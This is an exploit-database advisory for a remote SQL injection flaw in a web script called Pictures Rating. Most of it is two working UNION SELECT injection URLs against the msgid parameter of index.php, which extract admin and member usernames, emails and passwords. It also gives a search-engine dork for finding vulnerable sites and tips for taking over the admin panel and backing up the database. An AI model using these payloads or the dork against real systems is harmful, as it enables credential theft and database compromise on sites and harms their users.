Pictures Rating (index.php msgid) Remote SQL Injection Vulnerbility

2007-07-18T00:00:00
ID 1337DAY-ID-2030
Type zdt
Reporter t0pP8uZz
Modified 2007-07-18T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
Pictures Rating (index.php msgid) Remote SQL Injection Vulnerbility
===================================================================



--==+================================================================================+==--
--==+                  Pictures Rating SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Latest Pictures" Name   Gender   Profile   Rating


DESCRIPTION:
pull out admin/members info


EXPLOITS:
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),5,6,7/**/FROM/**/admin/*
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,email,0x3a,password,0x3c623e),5,6,7/**/FROM/**/members/*


NOTE/TIP:
you must register first
admin login is at /admin/ you can backup the DB there.



#  0day.today [2018-03-14]  #